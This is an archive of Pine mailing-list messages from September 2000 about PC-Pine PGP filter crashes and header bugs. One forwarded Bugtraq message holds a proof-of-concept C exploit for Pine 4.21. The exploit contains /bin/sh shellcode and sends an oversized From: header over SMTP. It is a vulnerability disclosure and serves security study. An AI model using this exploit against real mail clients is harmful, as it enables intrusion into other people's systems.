lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id JAA23125; Tue, 26 Sep 2000 09:28:33 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id JAA119694 for ; Tue, 26 Sep 2000 09:26:15 -0700 Received: from euler.math.washington.edu (euler.math.washington.edu [128.95.224.1]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA29168 for ; Tue, 26 Sep 2000 09:26:15 -0700 Received: from goedel3.math.washington.edu (goedel3.math.washington.edu [128.95.224.12]) by euler.math.washington.edu (8.9.3/8.9.3) with ESMTP id JAA238773; Tue, 26 Sep 2000 09:24:32 -0700 (PDT) Message-Id: Date: Tue, 26 Sep 2000 09:25:32 -0700 (PDT) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Eduardo Chappa To: Pine Discussion Forum Subject: Re: PC-Pine 4.21 and display/sending filters In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Daniel Lungu X-Cc: Pine Discussion Forum X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN *** Daniel Lungu (lungu@nagra-kudelski.ch) wrote in the pine-info list about "PC-Pine 4.21 and display/sending filters" today: :) I have encountered the same problem when trying to set up a sending filter :) through PGP, under PC-Pine 4.21 / NT4.0: :) :) sending-filters = C:\bin\pgpe.bat _TMPFILE_ _RECIPIENTS_ :) [lots of information deleted] Daniel, Your mail makes me believe that you don't understand the way filters work. I hope my explanation will make it clearer. When you define your sending filter to be C:\bin\pgpe.bat _TMPFILE_ you need to make both, _TMPFILE_ your input and your output file (that is to say, any file that is generated as the output of your script you should rename it to be the name of _TMPFILE_). When you write C:\bin\pgpe.bat _TMPFILE_ _RECIPIENTS_ it means that the _TMPFILE_ will contain a part of the headers which includes the list of recipients, so you need to be able to delete that part of the message before you apply your filter to _TMPFILE_, because _TMPFILE_ won't only be the message but a little bit of extra headers. (in another words, the filter never sees the second argument, only Pine does and interprets it in that way) I hope you can get your filter working, and that this helps you a little bit. -- Eduardo http://www.math.washington.edu/~chappa/pine/ From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Tue, 26 Sep 2000 10:01:15 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA12387; Tue, 26 Sep 2000 10:01:13 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA32319; Tue, 26 Sep 2000 10:01:13 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA25762; Tue, 26 Sep 2000 10:00:32 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id JAA146300 for ; Tue, 26 Sep 2000 09:59:15 -0700 Received: from nvcheext01.nagra-kudelski.ch ([193.246.109.168]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA32635 for ; Tue, 26 Sep 2000 09:59:06 -0700 Received: from nvchemsg01.nagra-kudelski.ch (nvchemsg01 [10.0.50.41]) by nvcheext01.nagra-kudelski.ch with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id TJ1P661Z; Tue, 26 Sep 2000 18:58:35 +0200 Received: from tom.nagra-kudelski.ch ([10.0.50.50]) by nvchemsg01.nagra-kudelski.ch with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id TVQP00V0; Tue, 26 Sep 2000 18:59:46 +0200 Message-Id: Date: Tue, 26 Sep 2000 18:57:23 +0200 (MET DST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Daniel Lungu To: Pine Discussion Forum Subject: Re: PC-Pine 4.21 and display/sending filters In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Eduardo Chappa X-Cc: Pine Discussion Forum X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 26 Sep 2000, Eduardo Chappa wrote: > Daniel Lungu (lungu@nagra-kudelski.ch) wrote in the pine-info list > about "PC-Pine 4.21 and display/sending filters" today: > > :) I have encountered the same problem when trying to set up a sending filter > :) through PGP, under PC-Pine 4.21 / NT4.0: > :) > :) sending-filters = C:\bin\pgpe.bat _TMPFILE_ _RECIPIENTS_ > :) > [lots of information deleted] > > Daniel, > > Your mail makes me believe that you don't understand the way filters > work. I hope my explanation will make it clearer. When you define your > sending filter to be > > C:\bin\pgpe.bat _TMPFILE_ > > you need to make both, _TMPFILE_ your input and your output file (that is > to say, any file that is generated as the output of your script you should > rename it to be the name of _TMPFILE_). When you write > That is what I am trying in "pgpe.bat": del %1 move %1.asc %1 > C:\bin\pgpe.bat _TMPFILE_ _RECIPIENTS_ > > it means that the _TMPFILE_ will contain a part of the headers which > includes the list of recipients, so you need to be able to delete that > part of the message before you apply your filter to _TMPFILE_, because > _TMPFILE_ won't only be the message but a little bit of extra headers. (in > another words, the filter never sees the second argument, only Pine does > and interprets it in that way) > The second argument _RECIPIENTS_ does not stand for an output file. It is the user id whose public key PGP will encrypt the content of _TMPFILE_ to. I did not know that _TMPFILE_ contains headers and not only the message. However, removing headers would not prevent Pine from crashing. Meanwhile I found a new flag '-f' that I can pass to PGP to get a non-interactive (Unix-like) behaviour, i.e. reading from stdin and writing to stdout (CON:). So, now I set my sending filters as follows: sending-filter = C:\bin\PGP.exe -fae _RECIPIENTS_ Unfortunately Pine still crashes... It crashes as well when I am trying to read an encrypted message: display-filters = _BEGINNING("-----BEGIN PGP")_ C:\bin\PGP.exe -f > I hope you can get your filter working, and that this helps you a little > bit. > > -- > Eduardo > http://www.math.washington.edu/~chappa/pine/ > My filters still do not work as Michael Ruder already pointed out. By the way they are just fine with my Unix PINE 4.21 on DEC From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Tue, 26 Sep 2000 23:58:23 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id XAA21820; Tue, 26 Sep 2000 23:58:22 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA24674; Tue, 26 Sep 2000 23:58:19 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id XAA03608; Tue, 26 Sep 2000 23:57:56 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id XAA61774 for ; Tue, 26 Sep 2000 23:56:15 -0700 Received: from ux-2s02.inf.fh-rhein-sieg.de (ux-2s02.inf.fh-rhein-sieg.de [194.95.66.3]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA11172 for ; Tue, 26 Sep 2000 23:56:14 -0700 Received: from rr-2s01.inf.fh-rhein-sieg.de (rr-2s01.inf.fh-rhein-sieg.de [194.95.66.2]) by ux-2s02.inf.fh-rhein-sieg.de (8.9.3+Sun/8.9.1) with ESMTP id IAA27905 for ; Wed, 27 Sep 2000 08:51:32 +0200 (MET DST) Received: from [10.110.1.150] (helo=PC-2M10) by rr-2s01.inf.fh-rhein-sieg.de with esmtp (Exim 3.12 #1 (Debian)) id 13eB41-00062W-00 for ; Wed, 27 Sep 2000 08:51:33 +0200 Message-Id: Date: Wed, 27 Sep 2000 09:54:38 +0200 (CET) Reply-To: Steffen.Kaiser@fh-rhein-sieg.de Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Steffen Kaiser To: Pine Discussion Forum Subject: Re: PC-Pine 4.21 and display/sending filters In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-X-Sender: skaise2a@rr-2s01a.inf.fh-rhein-sieg.de X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 26 Sep 2000, Daniel Lungu wrote: > sending-filters = C:\bin\pgpe.bat _TMPFILE_ _RECIPIENTS_ I tried something similiar a while back, my impression is that PC-Pine uses a wrong way to call external programs, so they don't wait for its termination, but start them as another background process. That's the very reason why the tempfile is already gone when the batch file has been started. If it is even possible, that pipes work OK in a WinNT GUI application, I don't know. However, because the source code is not available to the public, it's hard to tell, if it's true. Bye, -- Steffen Kaiser FH Bonn-Rhein-Sieg | e-mail: Steffen.Kaiser@FH-Rhein-Sieg.DE FB Angewandte Informatik | Grantham Allee 20 | phone : +49 2241/865-203 53757 Sankt Augustin | Germany - Deutschland | fax : +49 2241/865-761 From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Wed, 27 Sep 2000 01:43:53 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id BAA24950; Wed, 27 Sep 2000 01:43:50 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA08647; Wed, 27 Sep 2000 01:43:49 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id BAA05719; Wed, 27 Sep 2000 01:43:30 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id BAA14466 for ; Wed, 27 Sep 2000 01:42:47 -0700 Received: from nvcheext01.nagra-kudelski.ch (usr632@[193.246.109.168]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA04432 for ; Wed, 27 Sep 2000 01:42:45 -0700 Received: from nvchemsg01.nagra-kudelski.ch (nvchemsg01 [10.0.50.41]) by nvcheext01.nagra-kudelski.ch with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id TJ1P68FX; Wed, 27 Sep 2000 10:42:21 +0200 Received: from tom.nagra-kudelski.ch ([10.0.50.50]) by nvchemsg01.nagra-kudelski.ch with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id TVQQAAYP; Wed, 27 Sep 2000 10:43:32 +0200 Message-Id: Date: Wed, 27 Sep 2000 10:41:15 +0200 (MET DST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Daniel Lungu To: Pine Discussion Forum Subject: Re: PC-Pine 4.21 and display/sending filters: crash log MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi again! I have tested the simplest filter I can think of, that is cat-like: sending-filter = C:\WINNT\system32\CMD.EXE /C type Though Pine crashes and Dr. Watson reports: pine.exe Exception: access violation (0xc0000005), Address 0x77f6754b Finally I found doctor's log that is in C:\WINNT\drwtsn32.log. Here is a fragment from the tail of my log file: Application exception occurred: App: (pid=241) When: 9/27/2000 @ 10:11:15.46 Exception number: c0000005 (access violation) *----> System Information <----* ... User Name: lungu Number of Processors: 1 Processor Type: x86 Family 6 Model 7 Stepping 3 Windows Version: 4.0 Current Build: 1381 Service Pack: 6 ... *----> Task List <----* 0 Idle.exe 2 System.exe ... 241 pine.exe 245 CMD.exe 228 CMD.exe 215 DRWTSN32.exe ... State Dump for Thread Id 0xe0 eax=00000020 ebx=7ffdf000 ecx=7ffde000 edx=00000020 esi=00000000 edi=01604730 eip=77f6754b esp=0012d9c0 ebp=0012ddfc iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000202 function: RtlEnterCriticalSection 77f67540 648b0d18000000 mov ecx,fs:[00000018] fs:00000018=???????? 77f67547 8b542404 mov edx,[esp+0x4] ss:0145c3c7=???????? FAULT ->77f6754b 837a1400 cmp dword ptr [edx+0x14],0x0 ds:0132ea26=???????? 77f6754f 754f jnz RtlEnterCriticalSection+0x60 (77f675a0) 77f67551 90 nop 77f67552 ff4204 inc dword ptr [edx+0x4] ds:0132ea26=???????? 77f67555 7519 jnz RtlEnterCriticalSection+0x30 (77f67570) 77f67557 8b4124 mov eax,[ecx+0x24] ds:8130ca06=???????? 77f6755a 89420c mov [edx+0xc],eax ds:0132ea26=???????? 77f6755d c7420801000000 mov dword ptr [edx+0x8],0x1 ds:0132ea26=???????? 77f67564 33c0 xor eax,eax 77f67566 c20400 ret 0x4 77f67569 2e8bc0 mov eax,cs:eax 77f6756c 2e8bc0 mov eax,cs:eax *----> Stack Back Trace <----* FramePtr ReturnAd Param#1 Param#2 Param#3 Param#4 Function Name 0012ddfc 00554439 014da590 00000000 014e1f50 004028ba ntdll!RtlEnterCriticalSection 0012e27c 00551369 014e5e10 014e5cb0 014e5ec0 0012f1c4 ! 0012f2cc 0054a445 014e5cb0 0012fc68 006ca288 00000000 ! 0012fc98 00549412 00000000 00000000 00000000 00000000 ! 0012fcbc 00530e73 014c8080 00402f0e 014d00f0 00008002 ! 0012ff00 00598d6c 00000001 014d0d90 0492e198 00000000 ! 0012ff34 0060b804 00400000 00000000 00133760 00000001 ! 0012ffc0 77f1b9ea 0492e198 77c440e0 7ffdf000 c0000005 ! 0012fff0 00000000 0060b724 00000000 000000b0 00000100 kernel32!GetProcessPriorityBoost 00000000 00000000 00000000 00000000 00000000 00000000 ! ... State Dump for Thread Id 0xef eax=77c5d873 ebx=017dfdbc ecx=00137680 edx=00000000 esi=7ffdf000 edi=017dfddc eip=77f682cb esp=017dfd98 ebp=017dfdec iopl=0 nv up ei pl nz ac pe cy cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000213 function: NtWaitForMultipleObjects 77f682c0 b8c4000000 mov eax,0xc4 77f682c5 8d542404 lea edx,[esp+0x4] ss:02b0e79f=???????? 77f682c9 cd2e int 2e 77f682cb c21400 ret 0x14 77f682ce 8bc0 mov eax,eax *----> Stack Back Trace <----* FramePtr ReturnAd Param#1 Param#2 Param#3 Param#4 Function Name 017dfdec 77e79de5 00000001 017dfe14 00000000 00001bb8 ntdll!NtWaitForMultipleObjects 017dfe48 77e79e31 00000000 017dfe8c 00001bb8 000000ff user32!MsgWaitForMultipleObjectsEx 017dfe64 77c4c658 00000000 017dfe8c 00000000 00001bb8 user32!MsgWaitForMultipleObjects 017dffb8 77f04ede 00000000 77f8f219 00000004 00000000 shell32!SHAppBarMessage 017dffec 00000000 00000000 00000000 00000000 00000000 kernel32!lstrcmpiW 00000000 00000000 00000000 00000000 00000000 00000000 ! Think this is not really usefull, but maybe Pine developers will look at it and check their crash log against. Thanks for listening, Daniel Lungu From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Wed, 27 Sep 2000 01:56:03 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id BAA04821; Wed, 27 Sep 2000 01:56:02 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA08897; Wed, 27 Sep 2000 01:55:52 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id BAA20091; Wed, 27 Sep 2000 01:55:31 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id BAA89786 for ; Wed, 27 Sep 2000 01:54:55 -0700 Received: from mx1.drenik.net (mx1.drenik.net [195.252.112.11]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id BAA20305 for ; Wed, 27 Sep 2000 01:54:42 -0700 Received: (qmail 19522 invoked from network); 27 Sep 2000 08:16:11 -0000 Received: from office.drenik.net (HELO office2000) (195.252.112.58) by mx1.drenik.net with SMTP; 27 Sep 2000 08:16:11 -0000 Message-Id: <005801c02860$80c26990$3a70fcc3@drenik.net> Date: Wed, 27 Sep 2000 10:54:10 +0200 Reply-To: "Luka Gerzic" Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Luka Gerzic" To: Pine Discussion Forum Subject: bugtraq fwd : PINE Exploit 4.21 [ bTm ] MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-To: X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Return-Path: Delivered-To: stinger@DRENIK.NET Received: (qmail 3251 invoked from network); 25 Sep 2000 16:18:06 -0000 Received: from lists.securityfocus.com (207.126.127.68) by mx1.drenik.net with SMTP; 25 Sep 2000 16:18:06 -0000 Received: from lists.securityfocus.com (lists.securityfocus.com [207.126.127.68]) by lists.securityfocus.com (Postfix) with ESMTP id 86A391FCDE; Mon, 25 Sep 2000 09:13:55 -0700 (PDT) Received: from LISTS.SECURITYFOCUS.COM by LISTS.SECURITYFOCUS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 14598686 for BUGTRAQ@LISTS.SECURITYFOCUS.COM; Mon, 25 Sep 2000 09:13:39 -0700 Approved-By: aleph1@SECURITYFOCUS.COM Delivered-To: bugtraq@lists.securityfocus.com Received: from securityfocus.com (mail.securityfocus.com [207.126.127.78]) by lists.securityfocus.com (Postfix) with SMTP id 3848D1EF2A for ; Fri, 22 Sep 2000 17:32:03 -0700 (PDT) Received: (qmail 15119 invoked by alias); 23 Sep 2000 00:33:46 -0000 Delivered-To: bugtraq@securityfocus.com Received: (qmail 15116 invoked from network); 23 Sep 2000 00:33:46 -0000 Received: from lolita.speakeasy.net (216.254.0.13) by mail.securityfocus.com with SMTP; 23 Sep 2000 00:33:46 -0000 Received: (qmail 10142 invoked from network); 23 Sep 2000 00:32:31 -0000 Received: from unknown (HELO gonzo.speakeasy.net) (192.168.0.5) by 192.168.0.13 with SMTP; 23 Sep 2000 00:32:31 -0000 Received: (qmail 1277 invoked from network); 23 Sep 2000 00:32:39 -0000 Received: from unknown (HELO test) (216.254.0.2) by gonzo.speakeasy.net with SMTP; 23 Sep 2000 00:32:39 -0000 Message-ID: <20000923003203.3848D1EF2A@lists.securityfocus.com> Date: Fri, 22 Sep 2000 17:32:03 -0700 Reply-To: arkane@SPEAKEASY.ORG Sender: Bugtraq List From: arkane@SPEAKEASY.ORG To: BUGTRAQ@SECURITYFOCUS.COM -- cut here -- /*############## ##### ###### ## # ## # # # # # # # # # PINE Exploit 4.21 [ bTm ] # # # Proof of Concept: Pine 4.21 There exists a vulnerability in Pine 4.21 involving the portion of code in charge of peroidically checking email when a pine client is open. Run pine in one window, then send an email to the account owning that session. Switch back over and hit [Control+L] (to check your mail). Woohoo! now open the core up in gdb: #2 0x40084098 in abort () at ../sysdeps/generic/abort.c:139 #3 0x817470c in strcpy () at ../sysdeps/generic/strcpy.c:43 #4 0x8137f82 in strcpy () at ../sysdeps/generic/strcpy.c:43 #5 0x8158760 in strcpy () at ../sysdeps/generic/strcpy.c:43 #6 0x40082c28 in __restore () at ../sysdeps/unix/sysv/linux/i386/sigaction.c:127 #7 0xe7e2bfff in ?? () Cannot access memory at address 0xe7e2bfff. Oops, my alignment could use some work. Hello's : Mega,Loki,Lamagra,and zen-parse. BTW: this is broken, you have to figure it out on your own how to smuggle the shellcode in. Any real Pentester can get this working fairly quickly. Just be polite, don't forget to say HELO! Arkane [bTm] ######### ### # ## # # ## # # ## # # # # # # # ### ## ## */ #include #include #include #include #include #include #include #include #include unsigned long get_sp (void) { __asm__ ("mov %esp, %eax"); } #define ADDRLEN 700 #define EXECLEN 1000 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main (int argc, char **argv) { struct sockaddr_in server; struct hostent *hp; int s; char helo[100]; char mail[100]; char rcpt[100]; char data[2500]; char start[20]; int offset = 0; unsigned long addr; int i; char *addrs,*exec; addrs = (char *) malloc (ADDRLEN); exec = (char *) malloc (EXECLEN); if(argc < 2) { printf(" Usage: %s \n", argv[0]); printf(" \n\n"); exit(0); } if (argc == 3) offset = atoi (argv[2]); //addr = get_sp () - offset; addr = 0xbfffe7e2; //RH62 memset(addrs,0x41,ADDRLEN); // for (i = 0; i < ADDRLEN ; i += 4) // *(unsigned *) &addrs[i] = addr; // memset(exec,0x90,EXECLEN); // memset(addrs+195,0x90,5); // memcpy (addrs + 200, shellcode, strlen (shellcode)); if((hp = gethostbyname ("mail.speakeasy.org")) == NULL) { printf ("Could not resolve mail.speakeasy.org.\n"); exit(1); } if((s = socket (AF_INET, SOCK_STREAM, 0)) == -1) { printf("Error"); exit(1); } server.sin_family = AF_INET; server.sin_port = htons (25); server.sin_addr.s_addr = *(u_long *) hp->h_addr; bzero (&(server.sin_zero), 8); if(connect(s, (struct sockaddr *) &server, sizeof (struct sockaddr)) == -1) { printf ("Connection refused\n"); exit(1); } sprintf (helo, "helo test\r\n"); sprintf (mail, "mail from: %s\r\n",argv[1]); send (s, helo, strlen (helo), 0); send (s, mail, strlen (mail), 0); sprintf (rcpt, "rcpt to: %s\r\n",argv[1]); send (s, rcpt, strlen (rcpt), 0); sprintf(start,"data\r\n"); send (s, start, strlen (start), 0); fprintf(stderr," Message Sent! \n"); sprintf(data,"From: %s AAAAAAAA test@test.net\r\n%s\r\n.\r\nquit\r\n",addrs,exec); send (s, data, strlen (data), 0); close (s); exit(0); } -- cut here -- ------ D r e n i k N e t w o r k s / Y u g o s l a v i a Luka Z. Gerzic Graphic design, prepress, html, networking home page: http://stinger.drenik.net email: stinger@drenik.net From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Thu, 28 Sep 2000 08:34:28 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id IAA01645; Thu, 28 Sep 2000 08:34:27 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA25800; Thu, 28 Sep 2000 08:34:26 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id IAA16747; Thu, 28 Sep 2000 08:33:56 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id IAA90868 for ; Thu, 28 Sep 2000 08:32:09 -0700 Received: from ns3.nic.mx (ns3.nic.mx [200.33.111.7]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA05199 for ; Thu, 28 Sep 2000 08:32:08 -0700 Received: from ww.nic.mx (ww.nic.mx [200.33.111.5]) by ns3.nic.mx (8.9.3/8.9.3) with ESMTP id KAA17250 for ; Thu, 28 Sep 2000 10:30:39 -0500 (CDT) Received: from localhost (farias@localhost) by ww.nic.mx (8.9.3/8.9.3) with ESMTP id KAA21915 for ; Thu, 28 Sep 2000 10:23:15 -0500 (CDT) Message-Id: Date: Thu, 28 Sep 2000 10:23:15 -0500 (CDT) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Francisco Arias To: Pine Discussion Forum Subject: Multiline header bug MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: farias@ww X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Is there a patch for the multiline header bug on pine 4.21? fjac -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Thu, 28 Sep 2000 10:27:09 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA22316; Thu, 28 Sep 2000 10:27:07 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA14573; Thu, 28 Sep 2000 10:27:06 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA11202; Thu, 28 Sep 2000 10:25:42 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA30938 for ; Thu, 28 Sep 2000 10:20:09 -0700 Received: from usceast.cs.sc.edu (usceast.cs.sc.edu [129.252.11.9]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA02030 for ; Thu, 28 Sep 2000 10:20:08 -0700 Received: from pearl.cs.sc.edu (pearl.cs.sc.edu [129.252.130.40]) by usceast.cs.sc.edu (8.9.3/8.9.3) with ESMTP id NAA39690 for ; Thu, 28 Sep 2000 13:20:08 -0400 (EDT) Message-Id: Date: Thu, 28 Sep 2000 13:19:54 -0400 (EDT) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Gopi Sundaram To: Pine Discussion Forum Subject: Re: Multiline header bug In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 28 Sep 2000, Francisco Arias wrote: > Is there a patch for the multiline header bug on pine 4.21? What bug? I've only noticed problems when a defective MUA sends a header with a line so long that instead of wrapping it, the MUA adds a newline. Have you noticed Pine do this as well? Gopi. -- Gopi Sundaram gopi@cs.sc.edu From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Thu, 28 Sep 2000 11:02:07 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id LAA10590; Thu, 28 Sep 2000 11:02:06 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA15971; Thu, 28 Sep 2000 11:02:05 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id LAA13228; Thu, 28 Sep 2000 11:01:25 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id LAA124358 for ; Thu, 28 Sep 2000 11:00:18 -0700 Received: from mail.nic.mx (mail.nic.mx [200.23.1.17]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA11016 for ; Thu, 28 Sep 2000 11:00:05 -0700 Received: from mail (mail [200.23.1.17]) by mail.nic.mx (8.9.3/8.9.3) with ESMTP id MAA17488; Thu, 28 